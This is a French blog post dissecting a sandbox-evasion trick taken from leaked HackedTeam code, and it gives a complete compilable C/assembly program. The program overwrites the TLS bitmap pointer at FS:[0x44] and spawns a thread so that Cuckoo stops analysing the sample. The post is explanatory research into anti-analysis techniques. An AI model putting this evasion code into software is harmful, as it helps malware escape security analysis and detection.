Bypass de Cuckoo, la méthode HackedTeam

Bien… Comme tout le monde, c’est bien évidemment que je suis allé voir le code de nos amis transalpins. Et quel joie de trouver une solution de bypass de Cuckoo que je ne connaissait pas.

Le code officiel est là :
https://github.com/hackedteam/scout-win/blob/master/core-scout-win32/antivm.cpp

Et attention, c’est rapide :)

mov eax, fs:[0x44]; // save old value
mov _pOld, eax; 
mov eax, _pFake;  // replace with fake value
mov fs:[0x44], eax;

suivis de

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL);•

Encore un tripotage obscur du PEB. Ce qu’il font c’est substituer le vrai FS[0x44] (alias PEB:TLSBitmapBits ) part un champ initialisé de 409600 bytes à n’importe quoi (mais pas 0). Et ils démarrent une tread (ici sleep mais n’importe quoi ca le fait aussi). Et force est de constater que cela stoppe NET notre brave cuckoo qui pense que c’est finis à en croire le rapport de Malwr.

Malwr Report

C’est affligeant de simplicité d’ou mon intérêt. Et j’ai du chercher pour comprendre le miracle… Donc, le TLSBitmap..TLS ca veut dire Thread Local Storage, C’est la que notre windows maintient les datas pour la thread courante. C’est que qui sert à notre windows pour stocker toutes plein d’infos relative à notre thread. Et le fait de switcher cela et d’appeler une api pour starter une nouvelle thread semble compliquer la vie de cukoo. J’avoue franchement ne pas avoir compris en quoi cela ne perturbait pas aussi un vrai windows, mais force est de constater, que sans cela, même sous wine, ce code fonctionne parfaitement.

$ wine anti_cuckoo.exe 2>/dev/null 
Malloc and Set to 1
Miracle begins
Back to work if not cuckoo

Il n’y a que sur cuckoo que cela stop tout !

Ci-dessous une version compilable avec MingGW

#include "windows.h"
#include <stdio.h>


PDWORD pOld, pFake;

int main() {
  printf("Malloc and Set to 1\n");
  pFake = (LPDWORD) malloc(4096*100);
  memset(pFake, 1, 4096*100);

  printf("Miracle begins\n");

  asm (
    "mov eax, fs:[0x44];" // save old value
    "mov _pOld, eax;"

    "mov eax, _pFake;" // replace with fake value
    "mov fs:[0x44], eax;"
  );

  // this will not be logged nor executed.
  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL); 

  asm(
    "mov eax, _pOld;"  // restore old value, not reached if cuckoo
    "mov fs:[0x44], eax;"
  );

  printf("Back to work if not cuckoo\n");
  free(pFake);
  Sleep(10000);
  return(0);
}

Etonnant ces transalpins. !